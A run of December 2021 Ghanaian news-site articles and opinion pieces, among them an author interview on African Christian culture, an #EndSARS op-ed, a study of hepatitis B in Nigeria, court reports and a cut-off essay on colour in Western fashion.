sense of purpose in our youth: to be deeply resilient, sensitive to the biases ingrained in our societies, generous in spirit, unafraid to question inherited mores, and have a deep sense of fairness, as Katharine Norbury put it perfectly, which altogether spell hope for a better future. Why do think culture is important? Culture is the invisible infrastructure of any community. Culture itself is based on knowledge. See my illustration on my slide on the screen. Diagram Description automatically generated Based on the quality of knowledge, a community progresses where progress means people grow in self-worth, family-worth and community-worth to produce a just society where ideas thrive to bring prosperity. A culture based on poor knowledge produces people who lack self- worth, and the community goes towards a downward spiral both socially and economically. And as you all know true knowledge comes from the Lord. Proverbs 1:7 (NLT) says Fear of the LORD is the foundation of true knowledge, but fools despise wisdom and discipline. Proverbs 9:10 also approves that Fear of the LORD is the foundation of wisdom. Knowledge of the Holy One results in good judgment. True knowledge starts with knowing Jehovah, The Lord God, the spiritual path which is key to transformation. The teaching of Jesus is the gate to this spiritual path. The teaching of Jesus can be taught through expositions as in commentaries like my book series My Daily Walk, which are devotional commentaries on the Life of Jesus and The Work of the Holy Spirit. The teaching of Jesus is also taught through lectionary pieces or sermons or through creative works like stories and art. A good culture provides a strong invisible infrastructure that knits a community together for progress. What attitudes do you hope to change among the youth through your writing? I agree with Katharine Norburys statement that it is our species that has the capacity to act, consciously, for the good of the whole. To act, to conserve, to change, to renew, to invigorate that which we encounter, not merely to observe and catalogue its fall. We must learn our proper place and start inhabiting it. My works aim at making the youth take responsibility for the development of Africa and its diaspora, shedding the role as care-givers of Western economies or Chinas by Shedding the retrogressive and irredeemable aspects of our culture, the worship of gods and ancestors, idols, cults systems and customs and traditions that undermine self-worth. Embracing the redeemable aspects of our culture be it traditions and customs (from birth to death) to catalyze transformation and bring about a just society in our own community. Upholding and enriching our mother-tongues in creative works I like to illustrate my point. Lets look at my next slide. Diagram Description automatically generated What sets a community apart is its language, history, values and norms, and traditions. As you can see the language expresses the soul of the people and this cannot be copied from another. That is why it is so important to render who we are in our own native African languages. And I am hoping more African writers will be encouraged to write bilingually both in the languages of commerce and the native languages of Africa and its diaspora. What do you feel is the role of a writer in all of this? I would like to capture the role of the African writer in this poem Africa in Ink To you all nebulous words that dull our African uniqueness Genres now defined to exclude our essence of possessing Kant conjured, Hegel caricatured, and Levy-Bruhl too Culturally naive, intellectually docile, rationally inept, They wrote, they write, they spoke, they speak But caricatures are reactions only to reality Conjuring exaggerations to magnify doubt Yet, it is also a search for truth in whole That Egypt is the mother of Greece Is kinship that cannot be denied It has been lost to the ages Papyrus of the Nile Valley Papyrus of Egypt and Kush Mother to parchment, to paper First to commit thoughts to paper Records of kings, storied in philosophy Always there, now in, here in full, A redeemed creative practice. My role as a Christian writer is to reclaim, redress, redeem, and reshape the voice of the African past, the voice of the African present, and the voice of the African to come, so we do not lose sight of who we are, so we can occupy our rightful place in Gods story and the human family. So Why Did you write Christmas Arrives at Lajwahe? The idea of celebrations and festivals belongs to God. The images at Mount Sinai, the giving of both the moral and ceremonial laws, the nativity scene at Bethlehem, and the cry of It is finished on the Mount of Olives are images of hope. There is great hope in these. Because in these images I see that God himself created celebrations as a means of transmitting and entrenching the principles of His Word in Israel to transform their culture. The story of the golden calf illustrates how Israel reflected the culture of idolatry they had been part of in Egypt. God transformed this culture of idolatry by giving them various festivals to celebrate. The accoutrements, symbols, music, and foods used in these celebrations were native to the geography in which Israels culture was situated but were transformed for Gods use. Christmas celebration is another way the gospel is spread and entrenched in society and African Christians must continue to celebrate with the accoutrements, symbols, music, and foods which are native to our culture and geography but transformed for Gods use. For example, the focal point of Ghanas holiday decor and family traditions is the Christmas Hut which reflects the geography where our culture is situated. We do not have spruce or firs, but we have palm trees. Lets not abandon this symbol but promote it to empower our uniqueness and expression of our culture. The process of the sound cultural contextualization of the gospel was started by Ephraim Amu of blessed memory in 1927, a Ghanaian Christian of the Presbyterian Church of Ghana. It is because of him that today we can wear traditional clothes to church in Ghana. It is because of him that we can use African drums to worship in church in Ghana. This process must continue in earnest by Sprit-filled Christians until African cultures are transformed to display Gods glory. God loves variety. Creation shouts it out from all directions. Would you like to read from your book Christmas Arrives at Lajwahe? Ans: Yes indeed. Its my pleasure. Merry Christmas 15.12.2021 LISTEN The recent rebuttal by the Nigeria Minister for Information, Lai Mohammed, boldly detesting the report by the Lagos State Judicial Panel of Inquiry on Restitution for Victims of SARS Related Abuses regarding shootings by the Nigeria Army that led to the death and injuries of unarmed civilians has again made apparent the federal Government's nonchalance over the life of its citizens and addressing them as a 'lynch mob' with 'social media tales of moonlight.' According to a media report, there were 48 casualties after the army opened fire on the protesters. Over time, Nigerians started losing confidence in its 4th Republic or democracy when the Jonathan-led administration could not handle Insecurity issues that led to the loss of lives and properties. Buhari promising 'change' summarised the preoccupations that brought in the current administration, who became tardy in protecting the lives of its citizens despite numerous grants and military aids. President Buhari constantly criticised his predecessor and protested to demonstrate his grievances over a failing system. Still, protests under his regime were met with reprisal. They mobilised armed men to terrorise and intimidate people into forfeiting their rights of peaceful demonstration. #EndSars was more than an outcry of youths who were lamenting the torture, human rights abuses, dehumanisation, maiming, extortions, and possibly homicide at the hands of operatives of a rogue police unit, the Special Anti-Robbery Squad (SARS). It was a public call for total re-innovation in its economic, political, and social atmosphere. Anyone who came out to publicly criticise the federal Government's policies or staged a peaceful demonstration was either detained or inextricably wedged from advancing the interests of the ordinary people. The leader of #RevolutionNow, Omoyele Sowore, is still restricted to the confines of Abuja. Sunday Igboho, who agitated for a new Republic of Oduduwa owing to the hardship of the country's multinational coexistence, has been trapped in the cell of Benin Republic after the Federal Government invaded his house to arrest him, and he tried to escape. The last peaceful mass movement, #EndSars, surpassed expectations and gained popularity globally but was trampled by a dark shooting spree at Lekki protest ground on the 20th of October 2020. While some protesters remain in custody, there's been no movement for justice for the unjust killings but rather a dissipation of energy by the Minister for Information in disclaiming what several pieces of evidence had confirmed. When the protesters were dispersed after the violent intervention of the armed men, Nigerians waited for the President, Muhammadu Buhari, to address the shambling system but instead disbanded SARS without addressing the problems they created. He proceeded with a bewildering statement that the protesters wanted to remove him. Now, Nigerians fear peaceful demonstrations and have dubbed them as 'suicidal missions.' According to the Global Terrorism Index (GTI) report, Nigeria has been ranked third most terrorised globally. With news of frequent kidnappings and insecurity, Nigeria has gained infamy over its low concern for the lives of residents. With more than 223,000 active personnel, the Nigerian Army, according to Global Firepower, is the fourth-most powerful military in Africa and ranked 35th on its list internationally. But rather than focusing on administering justice and protecting its citizens' lives, the Nigerian Government flexes its muscles against unarmed critics and criticises past governments for their present undoings. It gets military aid from the World Bank, U. S., U. K, among others. Still, it constantly fails to meet expectations of eradicating banditry and Boko Haram terrorism. Most Nigerians would objectively admit that the concern for their lives by their Government is sub-par. The Nigerian Government should focus on improving the lives of its citizens and employ a more libertarian approach in addressing problems. If there's an enabling environment for economic growth and stability, a peaceful society wouldn't need to be demanded. Even at that, there shouldn't be any need to send military men to maltreat innocent civilians and deprive them of their human rights. Citizens want the best of lives justice and fairness. Still, the President has yet to apologise to the country and take responsibility for the innocent lives lost and injured victims. This does not augur well with an average Nigerian with steaming dissatisfactions while there's a consciousness of identity with the nation's flag. Emmanuel Akin-Ademola is a writing fellow at African Liberty. Motorbikes which happen to be the major means of transportation in the Northern Region by residents had to some extent caused the health of many. Per estimation by this reporter, about 70% of motorbike users in the region ride without a crash helmet. The situation has fortunately sent many riders especially the youth to their early grave, with some sustaining head fractures in road accidents. In order to tackle the canker, the Motor Dealers Association in the Northern Region has therefore set Saturday 18, 2021 to begin sensitising the citizenry on the dangers of riding motorbikes without a crash helmet. Mr. Hussein Mubarak, the Northern Regional Secretary of the Motor Dealers Association said as part of the sensitisation event they would match through some principles streets of Tamale to create awareness on the need to wear crash helmet. According to him, the hope of the Association is to see motorbike users in the north arrive home safely. He said the Association care for their customers, hence the upcoming initiative. Mr. Hussein further called on corporate bodies and residents of Tamale to participate in Saturday's program. He however assured the public of a free crash helmet on the event date. On behalf of the Northern Regional Manager of DVLA, the Technician Engineer at the Authority, Mr. John Alex Cudjoe lauded the Motor Dealers Association for the initiative, stating that DVLA and government will support the initiative. He said the agenda of the authority is to see motor riders stay safe. Mr. John encouraged riders in the region to always be in their crash helmet since there is no head to buy in the market. 15.12.2021 LISTEN The President of the Republic of Ghana, H.E Nana Addo Dankwa Akufo-Addo will on Wednesday, December 15, 2021, address the country from the presidency. The address which will be update number 27 since the country recorded its first two cases of the Coronavirus (Covid-19) will see the President talk about measures taken to combat the spread of the deadly virus. Todays address to the nation will be streamed live on this platform at 8pm. ModernGhana News has learned that the President will outline precautions to be adhered to by the citizenry ahead of the Christmas celebration and beyond to avoid an escalation of Covid-19 infections. Already, the Ghana Health Service (GHS) has announced that people travelling to and from Ghana must present proof of full vaccination. In addition, the GHS has scaled up its vaccination exercise and has so far vaccinated over 7 million Ghanaians. Unvaccinated Ghanaians are encouraged to continue adhering to the Covid-19 protocols and visit any of the vaccination centres to receive the jab. A stakeholders' meeting on the Mental Health Policy has been held to help prioritise mental health education in the country. The meeting was also to educate stakeholders, who included representatives from the Ghana Health Service, Ghana Education Service amongst others drawn from the five regions in the north, to use their platforms to champion mental health education. It was organised in Tamale by the Mental Health Authority as part of the Ghana Somubi Dwumadie programme, which is funded by UKAid to amongst others improve the situation for persons with disabilities in the country. The Mental Health Policy seeks to provide a framework for supporting the achievement of good mental health in the country while being sensitive to culture, resources, geography amongst others towards ensuring a mentally healthy population. It also seeks to promote mental health, prevention and management of mental health conditions for all persons across the lifespan both in the public and private sectors, thus substance use disorders including alcohol abuse. Professor Akwasi Osei, Chief Executive Officer of Mental Health Authority, who spoke during the meeting, emphasised the need for stakeholders at all levels to champion the Mental Health Policy to reduce the menace of mental health in the country. Professor Osei said the limited number of psychiatric professionals in the country called for an all-inclusive campaign to guarantee the mental health needs of the people. He said "The desire to drastically improve on mental health issues can no longer be left in the hands of mental health givers. It calls for a collaborative framework amongst institutions in ensuring mental health becomes the collective responsibility of society." Mr Issaka Anas Abdulai, Upper East Regional Coordinator for School Health Education commended the Mental Health Authority for organising the meeting saying it afforded stakeholders the opportunity to intensify mental health education to minimise the incidence of mental health challenges especially among the youth. Some of the participants called for a broader sensitisation on the policy at local levels to garner the support of all for its effective implementation. They appealed to government to ensure adequate logistics, training of mental health professionals and the provision of facilities to facilitate effective health delivery in the country. Defense Counsel for Bright Alan Debrah, alias BB, an accused person in the ongoing treason trial, says his client attended the meeting for planning to allegedly overthrow the Akufo-Addo government, to form soldiers for Take Action Ghana (TAG). The reason (BB) accused was there was in relation to the formation of TAG soldiers and not to partake in the alleged coup plot, he said. However, Staff Sergeant Jonas Yeankye Kofi Nantorna said, "I don't know anything concerning TAG soldiers". The Counsel, Victor Kwadjoga Adawudu, said BB never said that they were there to plan the overthrow of government but Staff Sergeant Nantorna, the fifth prosecution witness, said "because of the briefing from Staff Sergeant Awarf, (the star witness) all of us at the meeting knew the reason we were there. "You told the Court that you went there with Sergeant Zakari Wahid, Naziem, Awarf, these were the people you knew?" Asked the lawyer". Witness on the other hand answered "no there were others who were also added to us. On the first meeting Awarf and Zakari took the lead before the rest, Naziem and I went there later". He asked whether the witness knew the names of the others at the meeting but witness said "apart from the soldiers added to us and their names submitted to Director of Defense Intelligence (DDI), the rest I did not know". The lawyer then told him that if he did not know some people and he met them at a place he could not tell the reason for their presence at that meeting. Witness insisted that "each and everyone there knew the reason for the meeting, when I got there the meeting was in session. Those I went to the meeting with, I knew them. Nantorna then mentioned the names of those he knew at the meeting as Awarf, Zakari, Naziem Victor, Dasmani Faisal, Takyi Joel, Ofosu Addo, Mensah Andrews, Atta Yeboah, Addae Sylvester which later he got to know was Akankpewu, Nii Ankra, Ibrahim, Ali Solomon, Abubakar Seidu Sadiq, Warrant Officer class two (WO2) Esther Saan, BB and myself when he was asked to. Mr Adawudu said the list of attendees which was later copied by Nantorna and being used as evidence was one of the lists Staff Sergeant Awarf brought to be used to incriminate the accused but witness answered in the negative. The lawyer again asked if there was a date on the exhibit, had signature of the authored or those of has any of accused persons but he said no. Defense counsel then said the exhibit was an afterthought and witness said, "no, my lords". Counsel, in his cross examination, said the document was one of the tools Nantorna and Awarf had used to deceive their superiors that people were planning to overthrow the government. Witness stated that from the meeting, he gave the sheet to Awarf and he also gave it to their superiors. The lawyer said Nantorna was misled to believe that there was going to be an alleged plan to overthrow the Government, witness said he was not misled because he was at the meeting and everyone heard what they discussed. It was based on this information and briefing that Awarf gave you that was how you assumed that some people wanted to overthrow this government. Yes, my lords if our superiors had not made us to form a team to meet them, I wouldn't have known that what Awarf told me was real, he said. Counsel also pointed out to the witness that, nowhere in the video was he seen copying the said names and he did that before he was captured in the recording. When it was time for questions and suggestions he also took notes and handed all over to their superiors through Awarf. BB, together with Mac Palm, Donyo Kafui, blacksmith, alias Ezor, Johannes Zikpi, civilian employer with GAF, corporal Seidu Abubakar, lac Ali Solomon, Colonel Samuel Kojo Gameli, WO2 Esther Saan, Akankpewu and Assistant Commissioner of Police Benjamin Kwasi Agordzo, have been charged for varied offences towards the alleged overthrow. They have since denied all the charges including conspiracy, possession of ammunition, abetment and high treason. All the ten have since been granted bail. GNA Hepatitis B is an infectious disease caused by the hepatitis B virus (HBV). Nearly 300 million people worldwide live with this virus, which resulted in an estimated 820,000 preventable deaths in 2019. The virus is most commonly spread from mother to child during birth and through contact with the bodily fluids of an infected person. Infection in infancy and early childhood leads to chronic hepatitis in about 95% of cases. Patients with chronic HBV infection have an increased risk of progressive liver damage and scarring, liver disease, liver cancer and even death. It can be prevented through vaccination, but there is no cure for it yet. Medications are available to reduce the viral load and slow the progression of liver cancer. Reliable national data on the number of people infected with HBV are crucial to design public health control measures. Unfortunately, these data for most low- and middle-income countries are either lacking or outdated . This is due to inadequate surveillance of disease patterns, ill-equipped laboratories, and poor healthcare services. This makes it difficult to develop evidence-based policy and decisions for timely action. The World Health Organisation (WHO) recognises HBV as a leading cause of death worldwide . In 2016, WHO outlined a goal to end viral hepatitis as a public health problem by 2030. Up-to-date national and sub-national data on infection levels in the community is key to measuring progress towards this goal. In a recent review, we systematically collected data to estimate the levels of HBV infection in Nigeria. This information will be critical for meeting global and national elimination goals . We found a prevalence of 9.5% which is nearly 20,083,000 Nigerians. That is a high percentage. Infection rates differed by geographical area. The results point to the size of the potential liver disease crisis in Nigeria and where to focus prevention and care efforts with limited resources. Our research We conducted a meta-analysis , consisting of studies published between 2010 and 2019, to determine HBV prevalence. There were 47 studies and a sample size of 21,702 people. The prevalence rate of 9.5% that emerged from our analysis means that Nigeria meets the WHO's criteria for high endemicity . Importantly, we found differences in infection levels across different geo-political zones and settings. Higher rates of HBV infection were found in the North-West geo-political zone (12.1%), compared with the South-East (5.9%). HBV infection rates in rural areas were also much higher (10.7%) than those in the cities (8.2%). Our study could not provide the reasons for this, but it is possible that it may be due to inequities in access to health services, and due to differences between culturally diverse groups. Cultural beliefs can create barriers to HBV care . For example, in northern Ghana, spiritual poisons, curses and witchcraft have been identified as the main cultural beliefs associated with causing HBV in rural communities. Also, the allocation of healthcare resources in Nigeria is skewed towards secondary and tertiary services, which are mostly in urban areas. What does this mean for Nigeria? HBV infection in Nigeria requires ongoing efforts towards improving identification and testing, and treatment as part of routine care, along with vaccination to prevent new infections. Despite the existence of a national response to viral hepatitis , less than 5% of people with viral hepatitis B have ever used clinical services. This is particularly important for rural dwellers, who make up a significant community of people with HBV in Nigeria. To improve access to prevention and care for rural populations, the national viral hepatitis plans need to be sensitive to diverse cultural attitudes. This may enhance communication and the likelihood that patients will accept healthcare providers' recommendations. Ensuring all Nigerians with hepatitis B are diagnosed early and receive appropriate care is critical to avert a liver disease crisis in Nigeria. Given the limited availability of funds at the global level, hepatitis response plans need to be adequately funded through national health budgets. This will minimise out of pocket costs, and ensure access to relevant services without financial hardship to any patients. Meeting the 2030 elimination targets In February 2020, heads of states and governments from African Union member states , including the Nigerian government, pledged to eliminate hepatitis as a public health threat by 2030. Despite the challenges of COVID-19, with renewed political commitments, clearly defined targets, and financial support, Nigeria can prevent hundreds of thousands of unnecessary deaths. To be on course to the elimination targets, Nigeria must improve access to affordable diagnosis and care for its population. People living with HBV should not have to wait for care until their infection becomes chronic and liver disease reaches an advanced stage. HBV diagnostics need to be affordable and accessible now, so people can be linked to care in a timely manner. Ensuring high uptake of the vaccine at birth for babies is crucial to prevent new infections. In Nigeria, the current coverage for HBV vaccination is 57% and offers room for improvement. Other measures, such as robust pre-conception screening, and the implementation of test and treat interventions at low cost for infected couples, are important to prevent mother-to-child transmission of infection. Stigma and discrimination are notable barriers that prevent people from accessing health services, which can delay diagnosis and care. Marginalising populations who are vulnerable to HBV, such as people who inject drugs, often leads to their exclusion from testing and clinical care. Hepatitis B elimination will only be possible if we ensure that no one is left behind. Busayo Ajuwon is supported by funding from RSTMH Grants Programme in partnership with National Institute for Health Research (NIHR). He is affiliated with the Department of Microbiology, Kwara State University, Malete, Nigeria. He is a member of the Nigerian Society for Microbiology and the Data Science Nigeria AI+ Community. Meru Sheel receives funding from Westpac Scholars Trust. Katrina Roper does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment. By Busayo Ajuwon, PhD Candidate, Australian National University And Katrina Roper, Honorary Lecturer, Australian National University And Meru Sheel, Epidemiologist | Senior Research Fellow, Australian National University The Financial and Economic Court 2 of the Accra High Court has adjourned a case involving the former Chief Executive Officer of the Microfinance and Small Loans Centre (MASLOC), Sedinam Christine Tamakloe and the state to January 10 next year. This comes after the accused person failed again to make an appearance at the court following a bench warrant which was issued for her arrest by the presiding judge, Afia Asare Botwe, on November 17. The suspect failed to appear before the court on October 6, 2021, after she was granted leave to travel to the United States of America for medical checkup. According to the lawyer for the former CEO of MASLOC, Samuel Osei Sarpong, his client would require some more time for analysis to be provided by her doctor. The suspect, Sedinam Christine Tamakloe Attienu and the former Operations Manager of MASLOC, Daniel Axim have been accused of stealing, causing financial loss of over GH93 million to the state, among other charges. She had pleaded not guilty to the charges proffered against her. The charges were brought against her by the State upon investigations by the Economic and Organised Crimes Office. She was earlier granted bail to the tune of five million cedis with two sureties. ---citinewsroom Residents of Ave-Dakpa, the capital of Akatsi North District in the Volta Region, are sending desperate calls to government to intervene following an acute water shortage which has hit the community for the past four months. The situation has assumed alarming levels as reports reveal community folks are currently sharing the only local dam with cattle and other animals for survival. The community water treatment plant has been shut down for over 90 days owing to the non-payment of accumulated electricity bills to the tune of some GH13,000. And the situation, according to residents in the area, will bite them hard as the Christmas and New Year festivities approach. Voice of Ave-Dakpa, a community-based civil society organisation, revealed that leadership failure and mismanagement are to blame for the Ave-Dakpa water situation. The management of the community water treatment is still unable to render proper accounts as to the proceeds of sales of treated water. Former District Chief Executive of Akatsi North Dr Prince Amuzu Sodoke is on record to have written officially to the management of the Ave-Dakpa Water Community Board to render account of their activities when he took over after dissolving the old board and formed a new one but also failed to set up a proper system to solve the crisis. Community activists have resorted to social media platforms to drum home campaigns and calls for investigation and solutions to the matter from the government since local leaders have failed them. What did they do with money from sales of water. The water management must tell us. We are going to go into this. If people are owing for using water, they must pay. If it is the management that have embezzled money for which they could not pay electricity bills, we shall pursue them, a livid Alex Adzudor noted. Mr. Adzudor charged the leaders of the assembly to show leadership by going into the circumstances surrounding the acute water shortage and find a sustainable solution to it. Another activist, John Ahiale, called for a concerted effort by all to resolve the issue. Water is life. The acute water shortage here is a worry to us. We are suffering. Lets all discuss how to ensure that the indebtedness to ECG is settled so that water pumping and distribution can resume, Mr Ahiale submitted. We cannot continue to be in this situation for over three months and counting. I am very sure if we were to have a District Chief Executive in office now, this problem may have been solved without delay. A DCE in office would have instructed the ECG to restore electricity supply for the community water to operate, John Ahiale observed. Our leaders at the District Assembly are the ones failing us. They are so self-centred, and very selfish that our welfare does not concern them. Why should Akatsi North District reject the president's nominee twice? Across the country, most local assembly nominees have been confirmed. Why Akatsi North? We need to sit up. He has therefore appealed to the Chief of Ave-Dakpa, Torgbuiga Nyamekor Glakpe V and his entire traditional set-up to take up the matter of water as political leaders have failed as well as send a special delegation to the seat of government in Accra for the resolution to the appointment of the DCE conundrum. Special Aide to late President J.J Rawlings, Dr Donald Agumenu, was at hand to bail out the Ave-Dakpa water problem when a similar issue with unpaid electricity bills arose some years ago. President Akufo-Addos two nominees have so far failed on two occasions to gain the nod from the Akatsi North District as DCE. The absence of a substantive DCE is hampering decision taking and policy formulation for development in the area. ---3news.com 15.12.2021 LISTEN Simon Odo, popularly known as King of Satan has died, according to his son Uchenna Odo. He died at the age of 74. Mr Odo said his father died in the early hours of Tuesday morning, after a brief illness. He is dead, Mr Odo told BBC Igbo in a telephone call on Wednesday. We are preparing to bury him, he continued. Simon Odo is from Aji village in Nigeria's south-eastern Enugu state, where he is a popular chief priest. During an interview with BBC Igbo in 2020, he said he had 57 wives and had lost count of the number of children and grandchildren he had. He said he had inherited satanism from his parents and grandparents but he insisted that he did not help anyone looking for ways to harm their fellow human beings. Simon Odo reportedly said he would marry a new wife whenever an old one insulted him Mr Odo told the BBC that he had perfected his herbalist skills in the town of Ijebu Ode in Ogun state, where he had gone to seek a cure from a strange long-term ailment. Source: BBC A 29-year-old man has been shot dead, and one other wounded, after an attack by assailants at Awutu Loye in the Awutu Senya West Municipality of the Central Region. The two were said to have been engaged in sand winning activities in the area. The wounded person is receiving treatment at the Awutu Bereku Government Hospital after he was shot in the leg. Citi News sources say the incident happened late last night after the armed men, who had laid an ambush, attacked the two who were on a motorbike. The deceased was driving the motorbike, while the pillion rider sustained the gunshot wound. According to the police, the robbers took the mobile phones of the victims and an unspecified amount of money before allowing the injured to go away with the motorbike. Chief Superintendent Joshua Semenyo, the Awutu Bereku District Police Commander, said we have since moved the body to the Trauma hospital in Winneba, and we will start the investigation. The only thing taken from them were their phones and some money in the pockets of the one-shot. So we are even thinking that if it was a robbery, the people would have robbed them of their motorbike they asked them to take their motor away, we may not know the reason people were there to the extent of killing someone, Chief Supt. Semenyo said. ---citinewsroom 15.12.2021 LISTEN A nation of lispers What we are about discussing today reminds me of this famous Spanish legendbelieved by some history purists (if you will) to be untrue, but a poignant legend still. Spaniards, one of the worlds Spanish speaking people, famously have a very distinct Spanish accent (perhaps the original, unadulterated accent), one which upon hearing may just be mistakenly described as a lispa speech impediment. Their pronunciation of the z and c sound comes out as the th soundthe theta, it is called. So, the legend goes: Spanish monarch, King Ferdinand, allegedly spoke with a lisp, one which his subjects all throughout Spain, wanting to be like their king, picked up, resulting in the creation of an entire nation of lispers. The Metaphoric Lispers There is a need for a change of attitude with reference to the belief that one is a gentleman only when he wears a suit. These are the paraphrased words of Alan Kyeremanten, then Minister of Trade, Industry, and the Presidents Special Initiative on that November day, 2004 when he helped launch the National Friday Wear Programme. A very inherently nonsensical statement, but this brilliant leader was addressing a very nonsensical reality we, in Africa, have for centuries had on our hands. One that has piled up everything originally African as one mass of garbage, needing disposal, and everything Western as the enlightened patha reality imposed on us as far back as the 15th century. In addressing such a nonsensical reality, undoubtedly nonsensical statements had to be made. So, this statement by Mr. Kyeremanten is, in the African context, a very insightful and thought-provoking one. It gets said a lot, especially in the corporate environment, that the African print is a bit too colourful, too busy. First off, one wonders why nine-to-fivers, being famous for being a busy bunch would have a problem with their attires mimicking their busy-nessI kid. Secondly, those excuses are nothing but White colonialist words spoken through Black mouths, or Black mouths hoping that by so speaking, accompanied with their mimicking of the Caucasian, they would be rendered enlightened. That by wearing the signature dark, monochromatic, dull, ensembles of the White man, they would have successfully joined the ladies and gentlemen ranks. Lets take ourselves through a quick journey of the West, and come back to this assertion later. The Colourful American It took brilliant mindsteams of scientists to make this wish for colour in clothing possible for the West. I am not being dramatic when I say that scientists, then engaged in a comparatively incipient journey of world-changing scientific discoveries, took time off their busy schedules, exerted energy, time, and resources (relatively scant as they were then) into discovering new ways of realising the Americans, the White persons dream of wearing colourful clothing. Sorry for this quick detour from Europe (Spain) to America; we will come back to Europe in a minute. But this was in the 19th and 20th centuries, when America had come out of slavery, colonialism, the Industrial Revolution, etc., a wealthy nation. In the heights of capitalism, everything, down to the clothes humans wore, became a class issue. And colour, pattern in clothing was the reservation of the rich; the poor had to opt for dull coloured clothing. Purple in particular became a very popular colour in clothing, not just for the sake of itbut because it was one of the very first synthetic colours that could stick to fabric when used as dye. The purple craze in the late 19th century owes its origin to this. Wannabes of colour abound. The American poor wouldnt mind their own businessthey wouldnt leave colour in the hands (clothes) of the rich alone. They made do with cheap fabric that took colour poorly and faded easily. Wannabes of Colour But colour was never fully an attainable and practical feat for the poor. Because, firstly, having their hands characteristically close to the ground in their bid to make a living, being poor in America was a grimy affair, ones apparel was always dirty from workand colourful clothing do badly at hiding dirt. So then, dull clothing it wasfor the poor. Secondly, the manufacture of colourful clothing was not an easy affair. Manufacturers had an incredibly hard time getting the early fabricsthese cheap fabrics to take and retain colour. These fabrics, made from synthetic fiber, when dyed, refused to be fully dyed, and faded easily. Colour seemed unattainable. Then came scientists to remedy the situation. Scientific efforts were placed, and rayona much better-quality synthetic fiber resultedan improvement on the earlier fabrics; it could retain colour. The American poor, previously living in some sort of real life black and white, now had colour to experiment withjust like the rich. Wearing colourful clothing without being wealthy, was a sight as bewildering as a poor, homeless man seen riding in a Rolls-Royce; it incited the question where did you get the money from?an euphemism for prostitution. With the invention of colour television in the 20th centuryand technicolor (as we discussed in Americas Hay Days), scientists were even further encouraged to work harder with giving fabric colourfor the successful representation thereof on screen. The Wizard of Oz movie (1939), for instance went wild with colours! Never before had there been such clashes of colourscolours fighting for space on fabrics, on shoes, on set. The iconic red shoes worn by its protagonist, Dorothy itself was an intentional revolutiona flaunting of the American success story. A nation severed from Europe, having liberated itself from colonial rule; this nation America, had come out successful (as gruesome and gory the means employed had been); and years later, during and after World War II, this nation had emerged the worlds superpowerah! werent they going to flaunt this success with vivid display of colourfrom head to toefrom the hat on the head, to the clothes on the body, right down to the shoes on the feet! These shoes Dorothy wore in the movie was originally silver in colour (in the source material, the Wizard of Oz book), but since silver wasnt divorced from black and white and all such dull colours enough, it was changed to [bright] red to show more vividly against the yellow brick road, noted one historian. Against the green foliage on screen, with this red shoe on that yellow brick road, one could swear the creators of this movie were spelling out Ghanas flag. But that wasnt their intention. Their intention was quite plainly this: colour meant success. A case study of circumstances make a people 1930s in the West was rife with WWII and the Great Depression. In the throes of war and economic recession, these countries had little space in their minds for fashion. So, the previous exertions by scientists to invent colour in clothing were with the war, aptly reduced to trivialities. Rationing on all necessities of life ensuedrationing on clothing became the norm and law. Differing realities make differing people. In the case of the West, this reality (war), having affected fashion, created a whole different reality of clothing for themone which arguably persists to this day. Nations involved in the warEurope, America, and co. had little in their minds for fashion. Manpower, machine power, productivity were earnestly needed elsewhere. In Britain and USA, the clothes rationing system and its accompanying coupons system were introduced. Clothes became famously monochromatic and dull in colour. Clothes could no longer afford to be showythe ingenuity and labour exerted in the production of colour and patterns in clothing were no longer necessary. In the very belly of war and its ensuing bloodbath, both the rich and poor of society could not be given the chance to revel in such showiness. Even before the war commenced in the last quarter of 1939, countries like Britain and USA, anticipating a war, began enforcing the blackout. To avert air raids disasters brought upon by the German forces, entire cities in these nations had to be enveloped in darknessnot a streetlight on, not a house light on. Fashion quickly morphed to fit this new reality. Clothes were at their very mundanejust serving the purpose of covering up the body, keeping it warm, and at times, serving as tools of protection from the enemy. The onesie (jumpsuit) with a re-attachable opening at the buttock area, became the normhandy when one, on the loo, had to quickly wrap up because enemy forces were approaching. Genius, erh? Luminous, cheap accessories such as glowing buttons and glowing fake flowers were the only touch of colour these clothes could haveand even those were to only serve the purpose of rendering one visible by approaching vehicles during these blackouts. I suspect those luminous sneakers we delightfully wore as kids, were inspired by this period. In fact, one of these blackout campaigns called for people, so as to be visible at night, to avoid wearing dark colours at nightand white being the only bright inexpensive colour then, one campaign poster famously read, The Black Out. Why not Wear Something White Instead? Fashion Dictator In Britain colour had been the reservation of monarchies for many centuries. Then, heavily derived from natural sources, a colour like purple for instance, (derived from snails shells) was just too expensive, that it became, without decree, the prerogative of Kings and Queens. Fast forward to the 19th and 20th century Britain, and you find a similar narrative ensuing. In Britain, just as in America, the wars rationing system was extended to clothing. And the British government, seeking to resolve the endemic of cheap clothing made available to the vast British low to middle income earning public, instituted the Utility Clothing Scheme in 1942, where government itself mass produced comparatively quality apparels for the market. And thats where the standardisation of clothing problem ensued. This meant that the British had to walk around in uniforms the very definition of Adjoa Yankey, washia wonua! British people, during the war, had to all walk about draped in, not only the same dull, monochromatic colour of clothing, but style of clothing too. The British, although facing impending deaths from war, grew tired and bored of this clothing system, and began to taunt the government as some sort of fashion dictator. The British government sought to remedy this by putting together a team of the nations leading fashion designers to design a much wider range of apparels. But they could only do so much. Still limited by the demands of war and governments austerity laws, they were allowed to, for instance, produce only fifteen styles of clothing for girls. The American comedian, Jerry Seinfeld, has this bit where he asserts that the reason all American grooms and groomsmen dress alikesuit, pants, shirt, tieis because of how unpredictable men can be. So should the groom on the day of the wedding fail to show up, the groomsman or one of the groomsmen, can be made to stand in his stead to spare the poor bride the embarrassment. many of the changes brought about by war continue to shape fashion today. One historian wrote. The uniformisation of Western clothing persists to this day, especially what they consider formal clothingblack, blue, or blue-black suit, with a shirt, and a tie or bow tie; and for their woman (arguably having the most diverse of the Western clothing style), they also remain bound by the four-walls of Western apparel culture. Post-war Search for Colour But the White folk has proven itself not one to give up on colour. As one Time Magazine article titled American Fashion Has Gotten More Colorful. Heres What Changed notes, Demand for the perfect colorful clothing came back in full force during the period of post-war prosperity between 1947 and 1970, when the US median family income nearly doubled, and the gross national product more than quadrupled. As soon as the White man and woman got back some money in their pockets, they set about looking for colourful clothing. And a Research & Development culture having been given a much-needed boost during the war (weapons of mass destruction had to be manufactured, abi?), research into colour in clothing was, after the war, even much-more driven. New forms of synthetic fabrics and dyes were manufacturedthose that could take and hold colour, without easily fading. Quality colour was finally in the hands of even the 